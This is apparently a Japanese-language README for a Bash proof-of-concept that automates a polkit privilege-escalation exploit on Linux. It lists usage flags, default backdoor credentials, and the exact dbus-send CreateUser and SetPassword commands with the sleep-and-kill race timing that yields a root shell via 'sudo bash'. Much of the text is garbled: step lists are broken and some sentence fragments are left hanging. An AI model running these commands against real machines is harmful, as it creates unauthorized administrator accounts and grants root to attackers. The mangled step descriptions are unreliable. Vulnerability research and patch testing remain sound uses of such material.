
これはBashのPoCスクリプトで、Kevin Backhouse氏のブログで言及されている攻撃手順を自動化したものです。 この脆弱性に関する彼の記事はこちら: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
USAGE:
./poc.sh
-h --help
-u=Enter custom username to insert (OPTIONAL)
-p=Enter custom password to insert (OPTIONAL)
-f=y, To skip vulnerability check and force exploitation. (OPTIONAL)
-t=Enter custom sleep time, instead of automatic detection (OPTIONAL)
Format to enter time: '-t=.004' or '-t=0.004' if you want to set sleep time as 0.004ms
Note:
Equal to symbol (=) after specifying an option is mandatory.
If you donot specify the options, then the script will automatically detect the possible time and
will try to insert a new user using that time.
Default credentials are 'secnigma:secnigmaftw'
If the exploit ran successfully, then you can login using 'su - secnigma'
and you can spawn a bash shell as root using 'sudo bash'
accountsservice と gnome-control-center がインストールされているディストリビューションでのみ動作し、polkit バージョン 0.113(またはそれ以降)または 0-105-26(polkit のDebianフォーク)がインストールされている必要があります。polkit バージョン 0-105-26(polkit のDebianフォーク)を使用した Ubuntu 20.04 と、polkit バージョン 0.115 を使用した Centos 8 でテストされました。対象が脆弱であると確信しているが、エクスプロイトのチェック機能が失敗する場合は、-f=y フラグを使用してすべてのチェックをバイパスし、エクスプロイトを強制できます。この脆弱性を手動で悪用するための詳細な説明とPoCは、研究者のブログに詳しく掲載されています。
このエクスプロイトの要約は以下のとおりです:
dbus メッセージを送信して polkit をトリガーできますが、polkit がリクエストを処理している間にリクエストを突然閉じます。その後、攻撃者は以前のリクエストの一意のバス識別子を使って2番目のリクエストを送信し、UID 0(別名 root)としてリクエストを実行できます。polkit に存在します。なぜなら、polkit は、もはや存在しないバス識別子を持つ接続のUIDを、UID 0 からのリクエストとして扱うからです。つまり、攻撃のタイミングを正確に合わせ、最初のリクエストを適切な瞬間に終了させれば、UID 0(別名 root)の権限で2番目のリクエストを行うことができます。前に述べたように、これはKevin Backhouse氏のPoCを自動化するbashスクリプトにすぎません。コアとなるコマンドは同じですが、最初のいくつかの手順(タイミングの取得、脆弱性のスキャン、カスタム認証情報の挿入、色付き出力など)を自動化しただけです。
このスクリプトがパラメータなしで実行された場合、デフォルトの動作は次のとおりです:
/etc/os-release ファイルを使用]accountservice と gnome-control-center のインストールを確認します。[rhel/centos/fedora では rpm -qa を使用し、debian/ubuntu ディストリビューションでは dpkg -l を使用]rhel.centos,fedora では 0.113(またはそれ以降)、Debian/Ubuntu では 0-105-26]bash time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 2>&1 >/dev/null を使用して、リクエストの送信に必要な時間を調べますsu - <username> でアカウントにログインし、その後 sudo bash を実行してrootシェルを取得できます!Esc キーを押して認証プロンプトを閉じ、Ctrl+C でスクリプトをすばやく終了してください。$t)は、リクエストに必要な時間を2で割って計算されます($t=time-required-to-request/2)。[awk を使用して計算]$t)が計算された後、$username(secnigma)をターゲットに挿入するリクエストが20回繰り返されます。bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 & sleep `echo $t`s ; kill $! id secnigma で確認])、パスワードハッシュが生成されます([bash openssl passwd -5 `echo -n $password` を使用])。($password=secnigmaftw)bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User`echo $u_id` org.freedesktop.Accounts.User.SetPassword string:`echo -n $hash1` string:GoldenEye & sleep `echo $ti`s ; kill $!